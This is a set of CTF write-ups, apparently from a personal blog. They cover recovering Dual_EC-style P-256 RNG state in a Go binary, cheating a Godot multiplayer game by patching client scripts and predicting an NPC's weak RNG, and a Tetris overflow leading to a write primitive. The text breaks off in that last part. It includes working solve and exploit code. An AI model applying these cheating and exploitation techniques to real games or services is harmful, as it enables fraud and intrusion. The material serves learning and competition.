	p256ScalarBaseMult(&x1, &y1, &z1, &scalarReversed)
	return p256ToAffine(&x1, &y1, &z1)
}

To translate this Go a little, it’s important to remember that Go have types a function works on, as well as types for its args, and types for its output. A function depending on a type may sound confusing, but it’s just like using class methods. As an example, in Python you can do:

[].append(1337)

In a Go-like language, this would look like:

func (list) append(anytype x) (None) {
	...
}

In assembly, this will look like having an extra pointer in the args, since IDA will think that the pointer the function is working on is a part of the function. So the function ScalarBaseMult really takes two args. The first arg is a p256 curve object. The second is the scalar k that we will multiply P by (whatever P is).

If the first arg really is a p256 object, then the first pointer in it should be a pointer to params which is a pointer to the constants we knew earlier. This is all based on the object being a Curve from Go.

(*(void (__golang **)(__int64))(a1 + 56))(a2);

gef➤  x/10x ((long *) $a2)[0]
0xc00005c300:   0x000000c00000e3c0      0x000000c00000e400
0xc00005c310:   0x000000c00000e440      0x000000c00000e480
0xc00005c320:   0x000000c00000e4c0      0x0000000000000100
0xc00005c330:   0x00000000006a743b      0x0000000000000005
0xc00005c340:   0x000000c00000e500      0x000000c00000e540
gef➤  x/10x ((long *) ((long *) $a2)[0])[0]
0xc00000e3c0:   0x0000000000000000      0x000000c0000181e0
0xc00000e3d0:   0x0000000000000004      0x0000000000000006
0xc00000e3e0:   0x00000000006b782d      0x000000000000004e
0xc00000e3f0:   0x000000000000004e      0xffffffffffffffff
0xc00000e400:   0x0000000000000000      0x000000c000018210
gef➤  x/8gx ((long *) ((long *) ((long *) $a2)[0])[0])[1]
0xc0000181e0:   0xffffffffffffffff      0x00000000ffffffff
0xc0000181f0:   0x0000000000000000      0xffffffff00000001

So a2 is a pointer to a series of pointers. And the first of those pointers points to a Big Int based on what we know of the structure of big ints. Then if we dereference the pointer that points to the value of the int, we see that its: 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff. That value may not look familiar at first, not until you convert the value the set to p (show P) in the Go source int to hex:

In [4]: p = 115792089210356248762697446949407573530086143415290314195533631308867097853951

In [5]: hex(p)
Out[5]: '0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff'

Confirmed we are working with the direct pointer to our curve. Sweet, so we only have one more step to understand how Q is generated. Let’s look inside the ScalarBaseMult function we saw earlier. If we break in the middle of the function before the p256ScalarBaseMul happens we can examine what the scalar k is and what the P (the point) is they are basing it on… since we still don’t know that either.

0x535D98

crypto_elliptic__ptr_p256Point_p256BaseMult((__int64)v6, (__int64)v5, 4LL);

=======
     7     __int128 result; // [rsp+F0h] [rbp+28h]
     8
     9     memset(v5, 0, sizeof(v5));
    10     *(_QWORD *)&v5[0] = crypto_elliptic_p256GetScalar((__int64)v5, 4LL, 4LL, a2, a3, a4);
    11     ((void (*)(void))loc_46BA51)();
→   12     crypto_elliptic__ptr_p256Point_p256BaseMult((__int64)v6, (__int64)v5, 4LL);
    13     *(_QWORD *)&result = crypto_elliptic__ptr_p256Point_p256PointToAffine((__int64)v6);
    14     *((_QWORD *)&result + 1) = v4;
    15     return result;
    16   }
=======
gef➤  x/4gx ((long *) $v5)[0]
0xc000135de8:   0x5957fd5f37d8be40      0xffb18764a3b4df1f
0xc000135df8:   0xc40ba24e11bf3ec7      0x132867e88e82431d
gef➤

So it looks like the scalar k is 0x132867e88e82431dc40ba24e11bf3ec7ffb18764a3b4df1f5957fd5f37d8be40. I had a lot of trouble figuring out what v6 was since the pointers ran very deep, but it actually ended up being a pointer to two points inside the p256 curve pointer. I still did not understand what P (the point) was. I

Using the same method as above for the second call, PointToAffine, I was able to get the (Qx, Qy) for Q:

Qx = 0xe4443e00380471a612d205fc270dd16dff008f4adc4f2ad2c32fed8e74f76033
Qy = 0x07275f38738e8496bc0ade55de646372df388f04cdf6a09cf80108e0d2878ce5

All I needed now was P, which I was not sure how I lost. I posted Q and k, and @Samuel mentioned earlier started messing with it. Then he noticed something while I was reversing:

So P (the point), is actually G, which we know from the standard description.

Breaking RNG

There is one other thing to note about how I knew this was the right attack. This is because in the paper it talks about the top 16 bits being lost when the original rng numbers are known. This aligns perfectly with the user-defined function main_discard_bits, which does the following:

int main_discard_bits(int a1) {
	return a1 && ((2 ** 240) - 1);
}

Recall the numbers are 256 bits wide. Finally, we are ready to run the attack. We simply need to run the attack we found in the earlier paper and script while guessing the top 16 bits of both v1 and v2. We need to do this in less than 3 minutes to make it for the check on the server, so we make this process fork like crazy.

I used 32 workers to do this in around 10 seconds.

worker_id = 0
for i in range(5):
    worker_id = (worker_id << 1) | (0 if os.fork() else 1)

if worker_id:
	## do work

Thanks to help from @Samuel, this was the important part of the solving code:

    ## the numbers given by the server
    v1 = 0x920324424eed2d0575b12b12857d9684ac3486b5087cddf8a60e4e129939
    v2 = 0xce9c8866c6e5f6a0816d7c10dca0c2e6ffaa3101ccc882b371136766052
    print(f"running", worker_id)

    ## optimized with np
    arrs = np.array_split(list(range(2**16)), 32)
    for dr in arrs[worker_id]:
        _r1 = v1 + 2**240 * dr
        try:
            R1 = E.lift_x(_r1)
            S1 = xi * R1
            _s2 = Integer(S1.xy()[0])
            _r2 = Integer((_s2 * Q).xy()[0])
            _v2 = _r2 & ((1<<240) - 1)

            if v2 != _v2: continue
            _s3 = Integer((_s2 * G).xy()[0])
            _r3 = Integer((_s3 * Q).xy()[0])
            _v3 = _r3 & ((1<<240) - 1)

			print(f'Got it!',hex(_v3))

Find the full solve here.

Conclusion

In conclusion, this challenge had a nice introduction to both Go reversing and to understanding a cool attack on RNG generated from the P256 EC implementation. As usual, this challenge was not possible to solve without both @redgate (whom stayed up late reversing with me) and @mystiz / Samuel.

This weekend we played Tasteless 21 and they had a great series of challenges. This year they spent a painstaking amount of time making a 3D game called Tasteless Shores. It was big enough to be it’s own category in the game, hosting a total of 6 challenges in the same game. My teammates and I completed 4/6, and it was super fun. In this writeup I’ll try to mostly focus on how to do the game hacks that made solving the challenges possible.

Collaborators:

• @clasm
• @lucas_baizer
• @lbshine

Challenge Description:

The entire challenge had its own page for the CTF. It had 3 files associated with it. The client/server game binary, and its resources:

Linux Download: https://s3.eu-central-1.amazonaws.com/tstlss.tasteless.eu/tasteless-shores.x86_64 and https://s3.eu-central-1.amazonaws.com/tstlss.tasteless.eu/tasteless-shores.pck

Run ./tasteless-shores.x86_64 in the folder where the tasteless-shores.pck exists

And the “master server” that ran the game server:

Linux: https://s3.eu-central-1.amazonaws.com/tstlss.tasteless.eu/server

Run local setup:

Masterserver: ./server

ameserver: ./tasteless-shores.x86_64 server

Game: ./tasteless-shores.x86_64 local

They also provided a different binary for each OS. They had MacOS, Windows, and Linux. You can find all files relevant to my solve in my ctf_files on GitHub.

Overview of components

At first, we were baited into analyzing the binaries provided, because we thought that the .pck file was just a resource pack. We spent around 2 hours looking at the binaries before we decided to actually look more into the .pck file, which was critical to this entire challenge set. For reference, the game binary is HUGE:

▶ du -h tasteless-shores.x86_64
38M	tasteless-shores.x86_64

It was insane. IDA could not load it fast enough. From a meta-game perspective, it was strange that they gave us a binary per-OS. This is not normal if you were supposed to reverse the binary, since that would change the binary per-player potentially. This made us start thinking that maybe the .pck was more important than we thought. We looked at the output of the binary again:

▶ ./tasteless-shores.x86_64
Godot Engine v3.3.3.stable.official.b973f997f - https://godotengine.org

Which lead us to this link about godot and GDScripts. Yes, this .pck was actually was more than just resource pack, so much so that it could contain full game logic. You could run the game binary in both client and server mode, so this made even more sense.

Lastly, the other server binary the organizers provided was for managing multiple game servers and connection routing. Think of it as a middle-man, or Bunjee Server, like in Minecraft.

Game Logic

Funny enough, the rest of this challenge has nothing to do with the binaries above. The only thing that mattered for the rest of the challenges was the .pck file. We found a decompiler for GDScripts pretty fast from google. After using the decompielr feature, we had a full godot project:

▶ tree -L 1
.
├── assets
├── default_env.tres
├── export_presets.cfg
├── game
├── icon.png
├── icon.png.import
├── project.godot
└── scenes

With most game logic things in game:

▶ tree ./game
./game
├── game.gd
├── items
│   ├── fishing_rod.gd
│   ├── item.gd
│   ├── items.gd
│   ├── melee_weapon.gd
│   ├── range_weapon.gd
│   └── weapon.gd
├── net
│   ├── client2.gd
│   └── server2.gd
├── player
│   ├── player.gd
│   ├── player_controller.gd
│   ├── spring_arm.gd
│   ├── water.gd
│   └── waves.gd
├── screen
│   ├── character.gd
│   ├── credits.gd
│   ├── load.gd
│   └── login.gd
├── ui
│   ├── center_notification.gd
│   ├── chat_container.gd
│   ├── compass.gd
│   ├── compass_item.gd
│   ├── inventory.gd
│   ├── minimap.gd
│   ├── player_ui.gd
│   ├── ui.gd
│   └── world_label.gd
└── unit
    ├── enemy.gd
    ├── npc.gd
    ├── skeleton.gd
    ├── unit.gd
    ├── unit_remote.gd
    └── unit_spawner.gd

As you can probably guess, server2.gd is run on the server. client2.gd is run on the client (your local machine)… This means we can modify anything in client (and anything it loads that is not the Server).

Speed Hacks POC

To prove we could actually modify the client, we first started with a simple proof-of-concept by making speed hacks. We modified the player controller, which interfaced with game to give you movement, here:

player_conroller.gd:11

var moveSpeed:float = 2.0
var jumpForce:float = 5.0
var boatSpeed:float = 25.0
var currentSpeed:float = moveSpeed
var vel:Vector3 = Vector3()
var paused = false

func _ready():
	if true:
		moveSpeed = 5.0
		jumpForce = 10.0
		boatSpeed = 50.0

We changed all the moveSpeed to 10. We recompiled with the earlier mentioned decompiler chain This allowed us to zoom around the spawn island at top speeds. It looked really hacky as we speed glitched everywhere.

Jump Hacks

While we were hacking speed, we thought we should have jump hacks as well. We modified the same file. We set the jumpForce to 100. This is what it looked like:

Me, flying hundreds of blocks from one jump.

Fly Hacks

As one more fun thing, we added fly hacks (really just the lack of gravity). As is the theme, we modified the player controller:

player_controller:78

func _physics_process(delta):
	vel.x = 0
	vel.z = 0
	
	var input = Vector3()
    
	vel.y += - 9.8 * delta

We modified the velocity and y so that we only ever went up, so now velocity would be greater than 0. We no longer fall after jumping.

Me, looking down on the peasants who cant fly.

Flag Hacks (challenge: Boat)

We decided it was time to get some flags, so we first wanted the flag from the fisherman. Looking at the code, we saw how the fisherman gave you the boat to get to the island with the flag:

boat.gd:10

func interact():
	if "FLAG_BOAT" in Client.player.marker:
		Ui.ask("That is some real leet fishing skillz you got. You have a boat now to enter the water.")
	else :
		Ui.ask("I've been a fisher myself, young lad...\n\nBut to get a boat, you need to prove yourself.\n\nThere is fish in the west, but you gotta fish in the Lake'o'despair to prove yourself being worth it.")
		Client.interact(111)

The fisher checked for the FLAG_BOAT, which you could only get if you caught a fish in some fishing area:

fishing_rod.gd:29

func fish():
	Client.player_controller.paused = false
	for area in $FishArea.get_overlapping_areas():
		if area.has_method("lake'o'despair") or true:
			Ui.show_note("Now I am a true fisher")
			Client.start_fish(area.call("lake'o'despair"))
		else :
			Ui.show_note("Only small fish here...")
		return

start_fish was supposed to give you the FLAG_BOAT, but it was impossible to run it, since it errors-out each time you run it. We did not have the patience to reallY figure out why, but we knew it had something to do with fishing in all the fishing areas.

Instead, we wanted to directly modify our players flags, which was checked in player.marker. In player.gd, you can actually see where the initial markers are, which we observed over wireshark connections as well:

player.gd:1

extends "res://game/unit/unit.gd"

const Game = preload("res://game/game.gd")
const Unit = preload("res://game/unit/unit.gd")

signal water_entered
signal water_exited

onready  var boatMesh:MeshInstance = $Boat

var boat = false
var drowning = false
var marker = {
	"FLAG_EYES":true, 
	"FLAG_BOAT":true,
}

On the last line there, we added the FLAG_BOAT as seen, which was the flag the fisher checks for.

Now there was only one more thing, and thats’ the fact that the chest is not created unless you actually fished once:

server2.gd:157

func _handleFish(pid):
	if not has_node("player_" + str(pid)):
		prints("error, unknown player fish", pid)
		return 
	var node = get_node("player_" + str(pid))
	spawn_chest(node, "FLAG_BOAT", flags["FLAG_BOAT"].global_transform.origin)

This code is hit once you do start_fish on the client from the fishing rod item. This helped us understand the framework, since the server gets this from fish request:

client2.gd:511

func start_fish(target):
	socket.put_u8(MsgClientFish)

Remember, we control the client. We modify what happens when you attack to allow us start a fishing event, because we are wack:

func start_attack(target):
	socket.put_u8(MsgClientFish)

So now you just punch once, it activates a fish event and spawns the chest, then you use your hacks to walk over the water and grab the flag from the chest.

Me, getting that flag.

At this point we conclude we have the ability to send arbitrary event requests. We can request to fish by attacking. We can request to do literally anything by overriding attacking as our trigger.

Challenge: Skull Island

Using our knowledge of stuff, we realized the flag for the Skull Island is in the eye (go figure). We used our fly hacks to propel/god ascend to the eye and grab the flag. We also had to make sure we kept the FLAG_EYES in our player markers.

TP Hacks (challenge: Conch)

Using our event request knowledge from earlier, we decided it was time to stop flying around the map and instead time to start teleporting around the map. To make this possible, we used the same client request overrides found in the boat challenge. Instead of overriding attacking, this time we decided to override how using the chat worked. Each time a message was sent from the user, chat(whisper, msg) was called. We introduced a handler:

client2.gd: 574

func chat(whisper, msg):
    _msg_handler(msg)

The handler, and its dependencies was added as well to client:

func _teleport_to_coor(x, y, z):
	player.global_transform.origin.x = x
	player.global_transform.origin.y = y
	player.global_transform.origin.z = z

func _msg_handler(msg):
	if msg.begins_with("/tp"):
		var m_arr = msg.split(" ")
		var x = float(m_arr[1])
		var y = float(m_arr[2])
		var z = float(m_arr[3])
		var out_msg = "TP(X,Y,Z): "+msg
		_teleport_to_coor(x,y,z)
		print(out_msg)

Now we could just use the chat to teleport:

Now this is only useful if you actually know where you want to teleport, and lucky for us, there is a challenge which needs this functionality.

In the level Conch you are tasked with finding a hiding rabbit, which is requested of you in the quest_fish.gd. Once you get the conch, a special event occurs that places the rabbit you are looking for at a random coordinate on the map:

conch.gd:10

func _init():
	rabbit = Vector3(rand_range( - 100, 100), rand_range( - 100, 100), rand_range( - 100, 100))
	

const rabbit_distance = 0.1

func use(collider, from):
	if OS.get_ticks_msec() - lastAttackTime < attackRate * 1000:
		return false
	lastAttackTime = OS.get_ticks_msec()

	Server.conch(from, from.global_transform.origin.distance_to(rabbit))
	if from.global_transform.origin.distance_to(rabbit) < rabbit_distance:
		Server.spawn_chest(from, "FLAG_CONCH", rabbit)

	return true

That init function is run every time you get the conch. The conch can also be used to get you the Euclidean Distance to the rabbit. It’s passed to the conch function in the same file, but will just print Close or Far in a hot an cold way. We modify it to print useful data:

conch.gd:28

static func conch(distance, player):
	var x = player.global_transform.origin.x
	var y = player.global_transform.origin.y 
	var z = player.global_transform.origin.z
	
	var notif = String(distance) + ": (" + String(x) + "," + String(y) + "," + String(z) + ")"
	Ui.show_note(notif)

This will, on each use, get our current 3d coordinates and print the distance from our point to that point in 3d space. With this information, we can actually triangulate the 3d position to 1 point estimate just py trial and error.

Lucas, locating the rabbit

Getting within a single digit of the rabbit is actually not good enough. The check sees if you are within 0.1 distance of the rabbit, which means the only real way you can get that close is by teleporting to its exact location. Using a common method of finding the intersections of spheres in a 3d space, we can get a decent point guess from just sampling three points in the 3d space. We used this stackoverflow code to find the intersection of three spheres:

import numpy                                             
from numpy import sqrt, dot, cross                       
from numpy.linalg import norm                            

def trilaterate(P1,P2,P3,r1,r2,r3):                      
    temp1 = P2-P1                                        
    e_x = temp1/norm(temp1)                              
    temp2 = P3-P1                                        
    i = dot(e_x,temp2)                                   
    temp3 = temp2 - i*e_x                                
    e_y = temp3/norm(temp3)                              
    e_z = cross(e_x,e_y)                                 
    d = norm(P2-P1)                                      
    j = dot(e_y,temp2)                                   
    x = (r1*r1 - r2*r2 + d*d) / (2*d)                    
    y = (r1*r1 - r3*r3 -2*i*x + i*i + j*j) / (2*j)       
    temp4 = r1*r1 - x*x - y*y                            
    if temp4<0:                                          
        raise Exception("The three spheres do not intersect!");
    z = sqrt(temp4)                                      
    p_12_a = P1 + x*e_x + y*e_y + z*e_z                  
    p_12_b = P1 + x*e_x + y*e_y - z*e_z                  
    return p_12_a,p_12_b                       

We simply made a estimated triangle around the closest points, got their distances (which is the radi), and used the points in this equation. This returned to us a point. Using the earlier mentioned /tp command we introduced, we teleported to the exact point of the rabbit and got the flag.

RNG Hacks (challenge: Thrybrush)

The last flag we had time to get in this CTF was the Thrybrush challenge. Right from the get-go we found the npc that was responsible for this challenge on Melee Island. His code can be found in the guybrush.gd file. He implements a chat method that allows you to talk to him:

guybrush.gd:10

func chat(from, msg):
	if not (from.remote_id in players):
		return 
	
	var bw = players[from.remote_id]
	var next_try = bw.dig()
	var insult = insults.keys()[next_try]
	if msg == insults[insult]:
		bw.distance -= 1
	else :
		bw.distance += 1

	if bw.distance <= 0:
		Server.spawn_chest(from, "FLAG_BIGWHOOP", Server.flags["FLAG_BIGWHOOP"].global_transform.origin)
		Server.chat(remote_id, from.remote_id, "you are faster than your shadow it seems!")
	else :
		Server.chat(remote_id, from.remote_id, insult)

func interact():
	Ui.ask("he speaks an ancient language...")

Currently, its impossible to talk to him, so we need to implement the whisper variable in the cold chat method found in client:

func chat(whisper, msg):
	var should_whisper = _msg_handler(msg)
	if should_whisper:
		whisper = 31337
		var m_arr = msg.split(" ")
		var key = int(m_arr[1])
		var insult = insults.keys()[key]
		msg = insults[insult]
	socket.put_u8(MsgClientChat)
	socket.put_u64(whisper)
	socket.put_u8(msg.length())
	socket.put_data(msg.to_utf8())

Ignoring the use of the insults dict, which we will explain soon, we can now send him messages and receive insults back from him. Now onto how to get the flag. Looking at the earlier snippet starting from line 10 in guybrush.gd, we can see that the way you get the flag has to do with you predicting his next message:

guybrush.gd:14

var bw = players[from.remote_id]
	var next_try = bw.dig()
	var insult = insults.keys()[next_try]
	if msg == insults[insult]:
		bw.distance -= 1
	else :
		bw.distance += 1

The objective is to guess his next message, so that bw.distance is reduced. You want it to equal 0. Here is the list of messages he can say, and how he generates a random order of insults:

guybrush.gd:32

ar insults = {
"You fight like a dairy Farmer!":"How appropriate. You fight like a cow!", 
"This is the END for you, you gutter crawling cur!":"And I've got a little TIP for you, get the POINT?", 
"I've spoken with apes more polite than you!":"I'm glad to hear you attended your family reunion!", 
## [truncated]
}

var players = {}

class BigWhoop:
	var pos = Vector3.ZERO
	var rotation = 0as int
	var distance = 10as int

	func _init():
		pos.x = randi() % 255
		pos.y = randi() % 255
		pos.z = randi() % 255

	func dig():
		var hint = (int(pos.x) ^ ((int(pos.x) << 4)) & 255) & 255
		pos.x = pos.y
		pos.y = pos.z
		pos.z = rotation
		rotation = int(pos.z) ^ hint ^ (int(pos.z) >> 1) ^ ((int(hint) << 1) & 255)
		return rotation % 64

He has 64 different insults. On his initialization he creates 3 random bytes (x,y,z) which are used as the type of IV for this rng algorithm. Its a recursive type algorithm that creates a new state based on the last state, creating a state chain. Each state outputs a rotation % 64, which is the lookup index for the insults. Each time you ask for an insult, it progresses to the next state. At face value, a 1/64 guess is not that bad, but remember that each time you get the guess wrong, you MUST get it right 2 times in a row to account for that loss. At a minimum you need 10 correct guesses to win based on the initial distance value. That would be a 1/1152921504606846976 chance of winning. That’s no good. So, let’s conceptualize how this algorithm is flawed.

Here is a visual of what happens:

X = (x, y, z, rotation)

dig(X0) -> X1
        dig(X1) -> X2
            ...
                dig(Xn-1) -> Xn

We want to know X0, given X1 … Xn. From the init, it’s clear that X0 is legitimately 3 bytes of randomness, but if we track all the possible X0 that will generate X1 that will generate X2, it will highly reduce the set since all the X0 that does not lead to X2 will be filtered out. We can expand this idea to Xn by generating the full set of X0 and tracking which X0 make it to Xn. To be concise, we care about the X0 that reaches Xn.

After some trial and error, it became clear that after n = 8, there are only two possible points that X0 could be. This is a 50% chance to have a seed that will generate only 100% correct guesses. That’s really good, since we can actually try both X0 guesses against the npc. Here is the python code we wrote to solve for X0, called the seed, and generate the next sequences given 8 observations:

## truncated file 

def dig(x, y, z, rot):
    hint = (x ^ (x << 4) & 0xff) & 0xff
    x = y
    y = z
    z = rot
    rot = z ^ hint ^ (z >> 1) ^ ((hint << 1) & 0xff)

    return rot % 64, (x, y, z, rot)

def get_nth_dig(x, y, z, rot, n):
    output = []
    for _ in range(n):
        out, point = dig(x, y, z, rot)
        x, y, z, rot = point
        output.append(out)

    return output

def solve(obs):
    ## you need approximately 8 rounds to have a 50/50 chance
    round_sets = {i: {} for i in range(len(obs))}

    ## initialize round 0 with a full 3 byte range
    rot = 0
    solns = {}
    for x in tqdm(range(0xff)):
        for y in range(0xff):
            for z in range(0xff):
                out, point = dig(x, y, z, rot)
                if out == obs[0] and point[2] == 0:
                    ## nextround -> thisround
                    solns[point] = (x, y, z, rot)
    round_sets[0] = solns

    ## run as many rounds as observations left
    for i in range(1, len(obs)):
        solns = {}
        for soln in tqdm(round_sets[i-1]):
            out, point = dig(*soln)
            if out == obs[i]:
                solns[point] = soln
        round_sets[i] = solns

    ## use a backwards chain to verify the seed is real
    for k in tqdm(round_sets[len(round_sets)-1]):
        last_round = k
        for i in range(len(round_sets)-1,-1,1):
            if last_round in round_sets[i]:
                last_round = round_sets[i][last_round]
        else:
            print(f"[+] FOUND SEED: {last_round}")
            yield last_round


if __name__ == "__main__":
    observations = [
        "Heaven preserve me! You look like something that's died!",
        "This is the END for you, you gutter crawling cur!",
        "Killing you would be justifiable homicide!",
        "My tongue is sharper than any sword.",
        "My skills with a sword are highly venerated!",
        "My attacks have left entire islands depopulated!",
        "You're the ugliest monster ever created!",
        "I've heard you are a contemptible sneak.",
    ]
    idx_obs = []
    for obs in observations:
        idx_obs.append(reverse_lookup_insult(obs))

    print("[+] Inverting and composing init state:")
    print(idx_obs)

    print("[+] Starting solve...")
    init_vals = solve(idx_obs)

    print("[+] Getting next sequence...")
    for init_val in init_vals:
        print("[+] Extended Sequence: ")
        print(get_nth_dig(*init_val, len(idx_obs)*2 + 30))

    ## convert_seq_to_words(get_nth_dig(*init_val, len(idx_obs)*2 + 11)[len(idx_obs)+1:])
    import ipdb; ipdb.set_trace()

As a fast breakdown, the real magic happens in the solve function, that takes a series of insults you got from the npc. You need him to insult you 8 times, as said before. The solve starts by generating the full set of possible X0, then uses each round of observed conversation to reduce the set to only X0 that can generate things. Lastly, in a nice confusing recursion-like loop, we use a dict for each round to do a reverse loopkup. If we make it all the way down to round 0 dict, that means the point is a possible seed.

Here is the output of this script for the dialog interaction we recorded:

▶ python3 solve_insults.py 
[+] Inverting and composing init state:
[47, 1, 36, 22, 60, 49, 37, 13]
[+] Starting solve...
[+] Getting next sequence...
[!] FOUND SEED: (124, 241, 101, 77)
[+] Extended Sequence: 
[47, 27, 41, 58, 6, 24, 31, 62, 43, 22, 12, 8, 33, 43, 10, 55, 31, 29, 13, 2, 18, 12, 45, 61, 53, 27, 17, 14, 6, 56, 7, 22, 55, 4, 63, 26, 30, 61, 50, 37, 21, 40, 10, 16, 55, 20]
[!] FOUND SEED: (252, 241, 101, 77)
[+] Extended Sequence: 
[47, 27, 9, 10, 14, 20, 21, 33, 3, 62, 14, 58, 50, 9, 63, 46, 15, 3, 19, 8, 45, 14, 12, 50, 12, 56, 16, 14, 29, 27, 6, 23, 43, 35, 56, 45, 54, 24, 60, 5, 29, 59, 34, 12, 61, 30]

After this, it was as simple as inputing the numbers we knew was next in the sequence, due to the earlier done chat override that would replace the number with the insult from the insults dict. It takes about 18 insults (after the 8 observed) to win. Just like the Skull Island challenge, you must have FLAG_BIGWHOOP in your player.markers to be able to spawn the chest, so use the earlier hack for flags. Find the full solve script here.

Thanks where thanks is due

I need to give a huge shutout to both Lucas and Wil. For the majority of the game I had to continually send them my game patches and they had to run it since I had no work setup. They also were a huge part in solving these levels. As usual, this solve was only possible with friends :).

Conclusion

This was a really fun challenge, and a classic example of game hacking. I did wish there was more binary related stuff, but I know its hard to dump a lot of time into making a game engine. I also wish we had more time to solve part 5 and 6 of this challenge set, since I’m sure it must have been great. We got 10th, gg.

This writeup is based on two challenges from CSAW Quals 2020, blox1 and blox2 collectively known as the blox challenge. blox1 was the reversing portion, and blox2 was the pwning portion. My teammates Paul, Nathan (UCSB), and Nathan (ASU) solved the majority of blox1, so I will focus on the pwning aspect of this challenge.

We found an old arcade machine lying around, manufactured by the RET2 Corporation. Their devs are notorious for hiding backdoors and easter eggs in their games, care to take a peek?

Challenge link: ret2systems

All challenge files and solve scripts: here

rev desc: “turn on cheats.”

pwn desc: “invalidate the warranty.”

Overview

We are given the source code to a tetris video game that allows cheats if the right tetrominos are placed at specific board locations. If you use the cheats correctly you can cause an overflow outside of the board printed on the screen. The overflow allows a partial write primitive. Upgrading the primitive with writes to the .text allows you to get the flag.

As an overview I will cover:

• Challenge Description
• Overview
• Reversing
  • Recon
  • Static Analysis of the Binary
  • Constraint Solving
• Searching for Vulnerabilities
• Understanding our Primitives
• Upgrading our Write Primitive
  • Real Arbitrary Pointer
  • Real Arbitrary Write Values
• Shellcoding to Victory
• Thanks Where Thanks is Due
• Conclusion

Reversing

Recon

So we are playing some sort of modified Tetris:

From the description of the challenge we know we want to turn cheats on – though we don’t know what that means yet. Taking a quick look at the game source we can see:

bool cheats_enabled;

[...]

// magic values for the hardware logging mechanism
// hacking is grounds for voiding this machine's warranty
#define LOG_CHEATING 0xbadb01
#define LOG_HACKING 0x41414141
void hw_log(int reason) {
    syscall(1337, reason);
}

[...]

if (!cheats_enabled && check_cheat_codes()) {
                cheats_enabled = 1;
                hw_log(LOG_CHEATING);
            }

[...]

This already gives us the direction of this reversing challenge which is reverse the check_cheat_codes() function to get the codes we need to enter to satisfy a call to the hw_log. Unfortunately, the source code for this challenge does not contain check_cheat_codes(), so we need to either get the binary for this challenge or use ret2systems built in disassembler. I like IDA (or Ghidra) more, so I decided to go with the former.

Static Analysis of the Binary

At the time we solved this challenge, there was no binary released, so we had to leak it directly from the ret2systems gdb interface. This is somewhat trivial since you can just dump all the contents of memory and copy it out select-master style.

Once we have the binary we can locate two functions that appear to be doing the check_cheat_codes() operations at: 0x2537 and 0x261a. The latter of the two looks something like this:

[...]

for ( j = 0; j <= 4; ++j )
    {
      if ( board[j + 15][3 * thing + i] )
      {
        v4 ^= j + 1;
        ++v3;
      }
    }
    if ( v4 != check_2_values[3 * thing + i] || v3 != check_2_counts[3 * thing + i] )
      return 0;

Both are very similar, and the gist is that they iterate the board doing a type of coordinate check for tetrominos at certain positions. To get the exact positions we can do a constraint solve by just iterating all the possible values (brute force).

Constraint Solving

Here is the most important part of the solve script:

def recover_board(counts, hashes):
    def get_val(l, s, r):
        return l[s * 5 + r]
    def get_count(s, r):
        return get_val(counts, s, r)
    def get_hash(s, r):
        return get_val(hashes, s, r)
    NROWS = 5
    NCOLS = 12
    NSECTIONS = 4
    SECTION_WIDTH = NCOLS / NSECTIONS
    board = tuple([] for _ in range(NROWS))
    possibilities = test_n(3)
    for section in range(NSECTIONS):
        for row in range(NROWS):
            key = (get_count(section, row), get_hash(section, row))
            board[row].extend(possibilities[key][0])
    return board

Using this we get something that looks like this:

[1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1]
[1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1]
[1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1]
[1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0]
[1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1]

These are the valid positions in the last 5x12 coordinates on the board. By translating the 1’s into pecies by hand (just trying the 7 tetrominos in each place), we can get a nice rendered image of what it should look like on the real board:

Ah yes, ret2. Now that we know what tetrominos they want in those positions, it’s just a matter of getting the right blocks in the right order. Since the program initialized with the seed: srand(1); we know that each sequence of tetrominos will repeat. For us, this happened after 8 tires. We simply recorded these modes once using their builtin keylogger:

Finally, we used that key log in thier custom pwntools like interaction environment and sent over the payload to get the tetrominos into place:

p = interact.Process()
## data = p.readuntil('\n')
p.sendline("\nw w w w w w w w \n\nw w w w w w w \n\nw w w w w w w w \n\nw w w w w w w w \n\ncaaaaaadw w w w w w w w w \n\nw w w w w w w w\n\naaaaaadd dwd caaaad aaddda daadwd dddd aaddw aaa ddaacd aadcaaw d awa daaw aw  awa daa dad aaawd w w w \n\naaaaaadd dwd dddd aaa  aacddddd dddddaaa aaacw  aaa awa awa wdd daaawww dw waa awaaaa caaaaaawa ddddd  w w w\n")

p.interactive()

Now we get that cash $$$ and end in interactive mode:

Now that we have the first flag, it’s time to move on to the pwn section of this challenge.

Searching for Vulnerabilities

Recall from the desctiption that we need to “void the warranty”. This is made clear by the code:

// magic values for the hardware logging mechanism
// hacking is grounds for voiding this machine's warranty
#define LOG_CHEATING 0xbadb01
#define LOG_HACKING 0x41414141
void hw_log(int reason) {
    syscall(1337, reason);
}

This means we need to find a way to call hw_log, either through ROPing or Shellcoding. Thus, it’s time to look for vulns.

At this point we have had some decent amount of time reversing the program and understand how most things work. One thing that stood out immediately to me is their custom malloc, a highly suspect function since malloc itself is usually the culprit of many exploitation techniques.

void* heap_top;
unsigned char heap[0x1000];


void* malloc(unsigned long n) {
    if (!heap_top)
        heap_top = heap;

    if (heap_top+n >= (void*)&heap[sizeof(heap)]) {
        writestr("ENOMEM\n");
        exit(1);
    }
    void* p = heap_top;
    heap_top += n;
    return p;
}

Essentially, any time a challenge implements a well known C-library function, you ought to be suspicious. The only place this malloc is used is when we write our name for a new high score: char* name = malloc(4);. Why would someone add a custom malloc for only a single usage for a 3 byte name?. This metagame question should put things into perspective that this malloc will somehow be used for us to arbitrary write to locations, since if you can control what heap_top is, you can have a write-what-where primitive.

After looking at this, we decided to just start messing around with the Tetris game. Recall from the last section that we turned on cheats, which gives us the ability to change the current tetromino to any shape at anytime before it is set on another block. We started messing around, by converting shapes, and got this interesting game reaction:

Notice, that last block switch changes the flat block into a square block – which glitches off the board. What does this mean for us? We have tha ability to overflow things adjacent to the board in memory! What values end up in the place adjacent to the board? Well that depends on the shape.

#define TTR_I 1
#define TTR_J 2
#define TTR_L 3
#define TTR_O 4
#define TTR_S 5
#define TTR_Z 6
#define TTR_T 7

So in this case, the thing next to the board in memory got filled with a 4, since that is the value of the square. But what can we actually overflow?

What is next to the board in memory…

unsigned char board[NROWS][NCOLS];

void* heap_top;
unsigned char heap[0x1000];

